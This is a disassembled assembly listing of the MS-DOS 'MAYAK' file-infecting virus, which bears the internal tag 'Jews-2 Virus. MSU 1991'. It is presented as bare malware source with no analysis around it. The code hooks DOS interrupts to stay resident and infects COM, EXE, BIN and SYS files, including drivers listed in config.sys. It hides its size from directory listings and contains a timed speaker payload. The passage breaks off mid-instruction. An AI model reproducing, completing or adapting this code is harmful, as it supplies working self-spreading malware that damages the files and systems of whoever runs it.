PAGE 59,132 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ MAYAK ÛÛ ;ÛÛ ÛÛ ;ÛÛ Created: 1-Aug-92 ÛÛ ;ÛÛ Passes: 5 Analysis Options on: none ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ data_1e equ 0Ch data_3e equ 20h data_4e equ 24h data_5e equ 84h data_6e equ 90h data_8e equ 100h data_9e equ 917h ;* data_10e equ 91Eh ;* data_11e equ 5350h ;* data_14e equ 927h ;* data_15e equ 6 data_16e equ 46h data_17e equ 60h seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h mayak proc far start: ;* jmp loc_6 ;* db 0E9h, 32h, 01h db 60h,0B9h, 00h, 20h locloop_3: loop locloop_3 ; Loop if cx > 0 mov al,0 out 60h,al ; port 60h, keybd data write int 20h ; DOS program terminate push ax push cx push si push di push ds push es call sub_2 mayak endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_2 proc near pop si sub si,9 nop ;*ASM fixup - sign extn byte push cs pop ds mov [si+44h],cs nop ;*ASM fixup - displacement mov [si+62h],cs nop ;*ASM fixup - displacement mov [si+46h],bx nop ;*ASM fixup - displacement mov [si+48h],es nop ;*ASM fixup - displacement mov ax,[si+42h] mov ds:data_15e,ax jmp short $+2 ; delay for I/O cld ; Clear direction mov ax,7000h mov es,ax xor di,di ; Zero register mov cx,923h rep movsb ; Rep when cx >0 Mov [si] to es:[di] mov cx,7Bh rep stosb ; Rep when cx >0 Store al to es:[di] pop es pop ds pop di pop si pop cx pop ax ;* jmp far ptr loc_2 ;* sub_2 endp db 0EAh,0C1h, 00h, 68h, 02h out 3,al ; port 3, DMA-1 bas&cnt ch 1 xchg dx,ds:data_11e[bx+si] push cx push dx push si push di push ds push es push cs pop ds les di,dword ptr ds:data_17e ; Load 32 bit ptr mov si,91Eh cld ; Clear direction movsw ; Mov [si] to es:[di] movsw ; Mov [si] to es:[di] movsb ; Mov [si] to es:[di] ;* call far ptr sub_1 ;* db 9Ah,0CCh, 00h, 68h, 02h mov ax,0FEDAh int 21h ; ??INT Non-standard interrupt cmp ax,0ADEFh je loc_4 ; Jump if equal push cs pop ds mov ah,34h ; '4' int 21h ; DOS Services ah=function 34h ; get DOS critical ptr es:bx ;* undocumented function mov word ptr ds:[93Bh],bx mov word ptr ds:[93Dh],es lds si,dword ptr ds:data_16e ; Load 32 bit ptr les di,dword ptr [si+0Eh] ; Load 32 bit ptr mov cl,4 shr di,cl ; Shift w/zeros fill inc di mov ax,es add ax,di mov es,ax mov word ptr [si+0Eh],99Eh mov [si+10h],es xor di,di ; Zero register push cs pop ds xor si,si ; Zero register cld ; Clear direction mov cx,99Eh rep movsb ; Rep when cx >0 Mov [si] to es:[di] mov di,data_14e mov ds,cx mov si,data_5e movsw ; Mov [si] to es:[di] movsw ; Mov [si] to es:[di] mov [si-2],es mov word ptr [si-4],147h mov si,data_4e movsw ; Mov [si] to es:[di] movsw ; Mov [si] to es:[di] mov [si-2],es mov word ptr [si-4],384h mov ah,2Ah ; '*' int 21h ; DOS Services ah=function 2Ah ; get date, cx=year, dh=month ; dl=day, al=day-of-week 0=SUN call sub_10 sub ax,word ptr cs:[917h] cmp ax,5 jb loc_4 ; Jump if below mov si,data_3e movsw ; Mov [si] to es:[di] movsw ; Mov [si] to es:[di] mov [si-2],es mov word ptr [si-4],2C2h loc_4: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax retf ; Return far db 'Jews-2 Virus. MSU 1991' db 1Eh, 06h,0E8h, 00h, 00h, 5Eh db 81h,0EEh, 03h, 01h,0E8h,0CAh db 02h, 0Eh, 0Eh, 1Fh, 07h,0E8h db 25h, 03h, 07h, 8Ch,0C0h, 05h db 10h, 00h, 2Eh, 01h, 84h, 24h db 01h, 1Fh,0E8h,0FFh, 02h,0EAh db 00h db 0, 0, 0 loc_6: call sub_3 ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_3 proc near pop si sub si,129h call sub_5 push si mov di,data_8e add si,data_10e movsw ; Mov [si] to es:[di] movsb ; Mov [si] to es:[di] pop si call sub_8 mov ax,100h push ax call sub_7 retn sub_3 endp pushf ; Push flags cmp ax,0FEDAh jne loc_7 ; Jump if not equal mov ax,0ADEFh les bx,dword ptr cs:[927h] ; Load 32 bit ptr popf ; Pop flags iret ; Interrupt return loc_7: push bx push cx push dx push di push si push bp push ds push es xor si,si ; Zero register call sub_5 cmp ah,3Ch ; '<' je loc_13 ; Jump if equal cmp ah,5Bh ; '[' je loc_13 ; Jump if equal cmp ah,3Dh ; '=' je loc_15 ; Jump if equal cmp ah,3Eh ; '>' je loc_17 ; Jump if equal cmp ah,4Bh ; 'K' jne loc_10 ; Jump if not equal jmp loc_20 loc_10: cmp ah,4Eh ; 'N' jne loc_11 ; Jump if not equal jmp loc_26 loc_11: cmp ah,4Fh ; 'O' jne loc_12 ; Jump if not equal jmp loc_28 loc_12: jmp loc_31 loc_13: int 3 ; Debug breakpoint jnc loc_14 ; Jump if carry=0 jmp loc_29 loc_14: push ax call sub_12 pop bx mov byte ptr cs:[943h][bx],al mov byte ptr cs:[957h][bx],ah mov ax,bx jmp loc_30 loc_15: push ax mov al,2 int 3 ; Debug breakpoint jnc loc_16 ; Jump if carry=0 pop ax jmp loc_31 loc_16: pop bx push ax call sub_12 pop bx mov byte ptr cs:[943h][bx],al mov byte ptr cs:[957h][bx],ah call sub_21 mov ax,bx jmp loc_30 loc_17: push ax push cs pop ds cmp bx,5 jb loc_19 ; Jump if below cmp bx,18h ja loc_19 ; Jump if above mov al,byte ptr ds:[943h][bx] mov ah,byte ptr ds:[957h][bx] mov byte ptr ds:[943h][bx],0 mov byte ptr ds:[957h][bx],0 cmp al,2 jb loc_18 ; Jump if below cmp ah,2 jbe loc_19 ; Jump if below or = loc_18: call sub_20 loc_19: pop ax jmp loc_31 loc_20: mov word ptr cs:[99Ah],dx mov word ptr cs:[99Ch],ds push ax call sub_12 mov word ptr cs:[998h],ax push ax mov ax,3D02h int 3 ; Debug breakpoint mov bx,ax pop ax pop cx push cx jc loc_25 ; Jump if carry Set and cl,cl jz loc_23 ; Jump if zero call sub_21 mov ah,3Eh ; '>' int 3 ; Debug breakpoint pop ax call sub_4 pop bx call dword ptr cs:[927h] pushf ; Push flags push bx push cx push dx push di push si push bp push ds push es push ax xor si,si ; Zero register call sub_5 mov ax,word ptr cs:[998h] lds dx,dword ptr cs:[99Ah] ; Load 32 bit ptr cmp al,2 jb loc_22 ; Jump if below cmp ah,2 ja loc_22 ; Jump if above loc_21: pop ax call sub_4 pop bx popf ; Pop flags retf 2 ; Return far loc_22: push ax mov ax,3D02h int 3 ; Debug breakpoint mov bx,ax pop ax jc loc_21 ; Jump if carry Set call sub_20 mov ah,3Eh ; '>' int 3 ; Debug breakpoint jmp short loc_21 loc_23: cmp al,2 jb loc_24 ; Jump if below cmp ah,2 jbe loc_25 ; Jump if below or = loc_24: call sub_20 loc_25: mov ah,3Eh ; '>' int 3 ; Debug breakpoint pop ax jmp short loc_31 loc_26: int 3 ; Debug breakpoint jc loc_29 ; Jump if carry Set mov ah,2Fh ; '/' int 21h ; DOS Services ah=function 2Fh ; get DTA ptr into es:bx push es pop ds loc_27: mov ax,[bx+16h] and ax,1Fh cmp ax,1Fh jne loc_30 ; Jump if not equal sub word ptr [bx+1Ah],923h sbb word ptr [bx+1Ch],0 and word ptr [bx+16h],0FFE0h jmp short loc_30 loc_28: int 3 ; Debug breakpoint mov bx,dx jnc loc_27 ; Jump if carry=0 loc_29: call sub_4 pop bx popf ; Pop flags stc ; Set carry flag retf 2 ; Return far loc_30: call sub_4 pop bx popf ; Pop flags clc ; Clear carry flag retf 2 ; Return far loc_31: call sub_4 pop bx popf ; Pop flags jmp dword ptr cs:[927h] push ax push cx push dx push si push ds push es push cs pop ds cmp byte ptr ds:[34Eh],0 jne loc_32 ; Jump if not equal les si,dword ptr ds:[93Bh] ; Load 32 bit ptr cmp byte ptr es:[si],0 jne $+6Ah ; Jump if not equal mov ah,2Ch ; ',' int 21h ; DOS Services ah=function 2Ch ; get time, cx=hrs/min, dx=sec mov dl,cl cmp dx,1E3Bh jne $+5Eh ; Jump if not equal mov byte ptr ds:[34Eh],1 mov byte ptr ds:[947h],1 mov word ptr ds:[943h],34Fh loc_32: dec byte ptr ds:[34Eh] jnz $+48h ; Jump if not zero mov si,word ptr ds:[943h] cld ; Clear direction loc_33: lodsb ; String [si] to al mov byte ptr ds:[34Eh],al and al,al jnz loc_35 ; Jump if not zero dec byte ptr ds:[947h] jz loc_34 ; Jump if zero mov si,word ptr ds:[945h] jmp short loc_33 loc_34: lodsb ; String [si] to al mov word ptr ds:[945h],si mov byte ptr ds:[947h],al and al,al jnz loc_33 ; Jump if not zero jmp short $+21h loc_35: lodsw ; String [si] to ax mov cx,ax mov word ptr ds:[943h],si mov al,0B6h out 43h,al ; port 43h, 8253 wrt timr mode mov dx,12h mov ax,34DDh div cx ; ax,dx rem=dx:ax/reg out 42h,al ; port 42h, 8253 timer 2 spkr mov al,ah out 42h,al ; port 42h, 8253 timer 2 spkr in al,61h ; port 61h, 8255 port B, read or al,3 out 61h,al ; port 61h, 8255 B - spkr, etc pop es pop ds pop si pop dx pop cx pop ax jmp dword ptr cs:[92Fh] add [bx+si],al add ax,[bx] into ; Int 4 on overflow add al,[bx] push si add ax,[bx] xor al,4 pop es push si add cx,word ptr ds:[3BFh] pop es push si add ax,[bx] add cx,word ptr es:[434h] push cs mov di,1103h into ; Int 4 on overflow add dh,[bp+si] db 0FFh,0FFh, 00h, 05h, 02h,0E8h db 03h, 10h,0FFh,0FFh, 00h, 01h db 09h,0E8h, 03h, 01h,0FFh,0FFh db 00h, 00h, 50h, 1Eh,0E4h, 60h db 3Ch, 53h, 75h, 35h,0B8h, 40h db 00h, 8Eh,0D8h,0A0h, 17h, 00h db 24h, 0Ch, 3Ch, 0Ch, 75h, 27h db 0C7h, 06h, 72h, 00h, 34h, 12h db 0E4h, 61h, 8Ah,0E0h, 0Ch, 80h db 0E6h, 61h, 86h,0E0h,0E6h, 61h db 0B0h, 20h,0E6h, 20h, 33h,0F6h db 0E8h, 20h, 00h, 0Eh, 0Eh, 1Fh db 07h,0E8h, 7Bh, 00h,0EAh,0F0h db 0FFh, 00h,0F0h db 1Fh, 58h, 2Eh,0FFh, 2Eh, 2Bh db 09h ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_4 proc near call sub_6 pop bx pop es pop ds pop bp pop si pop di pop dx pop cx jmp bx ;*Register jump ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_5: push ax push bx push ds push es xor ax,ax ; Zero register mov ds,ax les ax,dword ptr ds:data_1e ; Load 32 bit ptr mov word ptr cs:[933h][si],ax mov word ptr cs:[935h][si],es mov ax,0FEDAh int 21h ; ??INT Non-standard interrupt cmp ax,0ADEFh je loc_37 ; Jump if equal les bx,dword ptr ds:data_5e ; Load 32 bit ptr loc_37: mov ds:data_1e,bx mov word ptr ds:data_1e+2,es pop es pop ds pop bx pop ax retn sub_4 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_6 proc near push ax push ds push es xor ax,ax ; Zero register mov ds,ax les ax,dword ptr cs:[933h][si] ; Load 32 bit ptr mov ds:data_1e,ax mov word ptr ds:data_1e+2,es pop es pop ds pop ax retn sub_6 endp db 0B0h, 03h,0CFh ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_7 proc near call sub_6 xor ax,ax ; Zero register xor bx,bx ; Zero register mov cx,0FFh mov dx,cs mov di,sp add di,4 mov si,100h xor bp,bp ; Zero register retn sub_7 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_8 proc near mov ah,2Ah ; '*' int 3 ; Debug breakpoint call sub_10 mov word ptr ds:[917h][si],ax mov ax,3D00h lea dx,[si+4F0h] ; Load effective addr int 3 ; Debug breakpoint mov bx,ax jnc loc_38 ; Jump if carry=0 retn loc_38: mov ah,3Fh ; '?' lea dx,[si+970h] ; Load effective addr mov cx,28h int 3 ; Debug breakpoint and ax,ax jnz loc_39 ; Jump if not zero jmp loc_46 loc_39: mov cx,ax mov di,dx mov al,0Dh repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al jnz loc_38 ; Jump if not zero mov byte ptr [di-1],20h ; ' ' neg cx inc cx mov ax,cx cwd ; Word to double word xchg cx,dx mov ax,4201h int 3 ; Debug breakpoint mov cx,28h mov al,20h ; ' ' lea di,[si+970h] ; Load effective addr push di push cx locloop_40: scasb ; Scan es:[di] for al jc loc_41 ; Jump if carry Set mov [di-1],al loc_41: loop locloop_40 ; Loop if cx > 0 pop cx pop di repe scasb ; Rep zf=1+cx >0 Scan es:[di] for al push si dec di push di lea di,[si+4FEh] ; Load effective addr pop si mov cx,6 locloop_42: lodsb ; String [si] to al or al,20h ; ' ' scasb ; Scan es:[di] for al loopz locloop_42 ; Loop if zf=1, cx>0 mov di,si pop si jnz loc_38 ; Jump if not zero mov cx,28h mov al,20h ; ' ' repe scasb ; Rep zf=1+cx >0 Scan es:[di] for al cmp byte ptr [di-1],3Dh ; '=' jne loc_38 ; Jump if not equal repe scasb ; Rep zf=1+cx >0 Scan es:[di] for al dec di mov dx,di repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al mov byte ptr [di-1],0 push bx call sub_11 jz loc_44 ; Jump if zero mov di,dx cmp byte ptr [di],5Ch ; '\' je loc_43 ; Jump if equal dec di mov byte ptr [di],5Ch ; '\' loc_43: dec di dec di mov word ptr [di],3A63h mov dx,di loc_44: mov ax,3D02h int 3 ; Debug breakpoint jc loc_45 ; Jump if carry Set mov bx,ax mov ax,402h call sub_20 mov ah,3Eh ; '>' int 3 ; Debug breakpoint loc_45: pop bx jmp loc_38 loc_46: mov ah,3Eh ; '>' int 3 ; Debug breakpoint retn sub_8 endp db 'c:\config.sys' db 00h, 64h, 65h, 76h, 69h, 63h db 65h ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_10 proc near sub cx,7BCh dec dx dec dh mov al,1Fh mul dh ; ax = reg * al xor dh,dh ; Zero register add dx,ax push dx mov ax,16Eh mul cx ; dx:ax = reg * ax pop dx add ax,dx retn sub_10 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_11 proc near mov di,dx mov cx,0FFFFh xor al,al ; Zero register repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al neg cx dec cx dec di dec di mov bx,di mov di,dx mov al,3Ah ; ':' repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al retn sub_11 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_12 proc near cld ; Clear direction push bx push si push ds pop es call sub_11 jnz loc_48 ; Jump if not zero mov al,[di-2] or al,20h ; ' ' sub al,61h ; 'a' jmp short loc_49 loc_48: mov ah,19h int 3 ; Debug breakpoint loc_49: std ; Set direction flag push cs pop es lea di,[si+584h] ; Load effective addr mov si,bx mov bl,al mov ah,4 loc_50: mov cx,4 push di push si locloop_51: lodsb ; String [si] to al or al,20h ; ' ' scasb ; Scan es:[di] for al loopz locloop_51 ; Loop if zf=1, cx>0 pop si pop di jz loc_53 ; Jump if zero sub di,4 dec ah jz loc_53 ; Jump if zero jmp short loc_50 loc_53: cld ; Clear direction mov al,bl pop si pop bx retn sub_12 endp db '.com.exe.bin.sys' ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_13 proc near mov ax,4200h xor cx,cx ; Zero register int 3 ; Debug breakpoint retn sub_13 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_14 proc near mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register int 3 ; Debug breakpoint retn sub_14 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_15 proc near push ax and ah,ah jz loc_56 ; Jump if zero xor dx,dx ; Zero register call sub_13 mov ah,3Fh ; '?' lea dx,[si+91Eh] ; Load effective addr mov cx,6 int 3 ; Debug breakpoint cmp ax,6 jne loc_56 ; Jump if not equal pop ax push ax cmp ah,2 jb loc_55 ; Jump if below jnz loc_54 ; Jump if not zero cmp word ptr ds:[91Eh][si],5A4Dh jne loc_56 ; Jump if not equal jmp short loc_55 loc_54: cmp word ptr ds:[91Eh][si],0FFFFh jne loc_56 ; Jump if not equal cmp word ptr ds:[920h][si],0FFFFh jne loc_56 ; Jump if not equal loc_55: pop ax stc ; Set carry flag retn loc_56: pop ax clc ; Clear carry flag retn sub_15 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_16 proc near push ax mov ax,5700h int 3 ; Debug breakpoint mov word ptr ds:[93Fh][si],cx mov word ptr ds:[941h][si],dx and cx,1Fh cmp cx,1Fh pop ax retn sub_16 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_17 proc near call sub_14 mov ah,40h ; '@' mov dx,si mov cx,923h int 3 ; Debug breakpoint retn sub_17 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_18 proc near call sub_14 add ax,1FFh adc dx,0 mov al,ah mov ah,dl shr ax,1 ; Shift w/zeros fill mov word ptr ds:[91Eh][si],ax mov dx,4 call sub_13 mov ah,40h ; '@' lea dx,[si+91Eh] ; Load effective addr mov cx,2 int 3 ; Debug breakpoint retn sub_18 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_19 proc near push es push bx xor bx,bx ; Zero register mov ds,bx les bx,dword ptr ds:data_6e ; Load 32 bit ptr mov word ptr cs:[937h][si],bx mov word ptr cs:[939h][si],es lea bx,[si+41Dh] ; Load effective addr mov ds:data_6e,bx mov word ptr ds:data_6e+2,cs push ds push cs push cs pop ds pop es push ax cld ; Clear direction lea dx,[si+970h] ; Load effective addr mov di,dx add al,61h ; 'a' mov ah,3Ah ; ':' stosw ; Store ax to es:[di] mov word ptr [di],5Ch mov ah,5Ah ; 'Z' xor cx,cx ; Zero register int 3 ; Debug breakpoint jc loc_59 ; Jump if carry Set mov bx,ax mov ah,3Eh ; '>' int 3 ; Debug breakpoint jc loc_59 ; Jump if carry Set mov ah,41h ; 'A' int 3 ; Debug breakpoint loc_59: pop ax pop ds les bx,dword ptr cs:[937h][si] ; Load 32 bit ptr mov ds:data_6e,bx mov word ptr ds:data_6e+2,es push cs pop ds pop bx pop es retn sub_19 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_20 proc near push cs push cs pop ds pop es call sub_15 jc loc_60 ; Jump if carry Set jmp loc_69 loc_60: call sub_16 jnz loc_61 ; Jump if not zero jmp loc_69 loc_61: call sub_19 jnc loc_62 ; Jump if carry=0 jmp loc_69 loc_62: cmp ah,1 je loc_65 ; Jump if equal cmp ah,2 jne loc_63 ; Jump if not equal jmp loc_67 loc_63: mov ah,3Fh ; '?' lea dx,[si+42h] ; Load effective addr nop ;*ASM fixup - displacement mov cx,2 int 3 ; Debug breakpoint mov ah,3Fh ; '?' lea dx,[si+60h] ; Load effective addr nop ;*ASM fixup - displacement mov cx,2 int 3 ; Debug breakpoint mov dx,[si+60h] call sub_13 mov ah,3Fh ; '?' lea dx,[si+91Eh] ; Load effective addr mov cx,5 int 3 ; Debug breakpoint call sub_14 cmp ax,0F000h jbe loc_64 ; Jump if below or = jmp loc_69 loc_64: mov word ptr ds:[925h][si],ax mov dx,6 call sub_13 mov ah,40h ; '@' lea dx,[si+925h] ; Load effective addr mov cx,2 int 3 ; Debug breakpoint mov dx,[si+60h] call sub_13 mov ah,40h ; '@' lea dx,[si+919h] ; Load effective addr mov cx,5 int 3 ; Debug breakpoint call sub_17 jmp loc_68 loc_65: call sub_14 cmp ax,0F000h jbe loc_66 ; Jump if below or = jmp loc_69 loc_66: add ax,123h mov word ptr ds:[925h][si],ax xor dx,dx ; Zero register call sub_13 mov byte ptr ds:[924h][si],0E9h mov ah,40h ; '@' lea dx,[si+924h] ; Load effective addr mov cx,3 int 3 ; Debug breakpoint call sub_17 jmp short loc_68 loc_67: mov dx,4 call sub_13 mov ah,3Fh ; '?' lea dx,[si+91Eh] ; Load effective addr mov cx,6 int 3 ; Debug breakpoint call sub_14 add ax,1FFh adc dx,0 shr dx,1 ; Shift w/zeros fill rcr ax,1 ; Rotate thru carry mov al,ah mov ah,dl cmp ax,word ptr ds:[91Eh][si] jne loc_69 ; Jump if not equal mov dx,14h call sub_13 mov ah,3Fh ; '?' lea dx,[si+122h] ; Load effective addr mov cx,4 int 3 ; Debug breakpoint call sub_14 mov di,word ptr ds:[922h][si] mov cl,4 shl di,cl ; Shift w/zeros fill sub ax,di sbb dx,0 add ax,0FEh adc dx,0 mov cl,0Ch shl dx,cl ; Shift w/zeros fill mov word ptr ds:[91Eh][si],ax mov word ptr ds:[920h][si],dx mov dx,14h call sub_13 mov ah,40h ; '@' lea dx,[si+91Eh] ; Load effective addr mov cx,4 int 3 ; Debug breakpoint call sub_17 call sub_18 loc_68: mov ax,5701h mov cx,word ptr ds:[93Fh][si] mov dx,word ptr ds:[941h][si] or cx,1Fh int 3 ; Debug breakpoint loc_69: xor dx,dx ; Zero register call sub_13 retn sub_20 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_21 proc near push cs push cs pop ds pop es call sub_15 jc loc_70 ; Jump if carry Set jmp loc_79 loc_70: call sub_16 jz loc_71 ; Jump if zero jmp loc_79 loc_71: call sub_19 jnc loc_72 ; Jump if carry=0 jmp loc_79 loc_72: cmp ah,1 je loc_74 ; Jump if equal cmp ah,2 jne loc_73 ; Jump if not equal jmp loc_76 loc_73: mov ah,3Fh ; '?' lea dx,[si+42h] ; Load effective addr nop ;*ASM fixup - displacement mov cx,2 int 3 ; Debug breakpoint mov 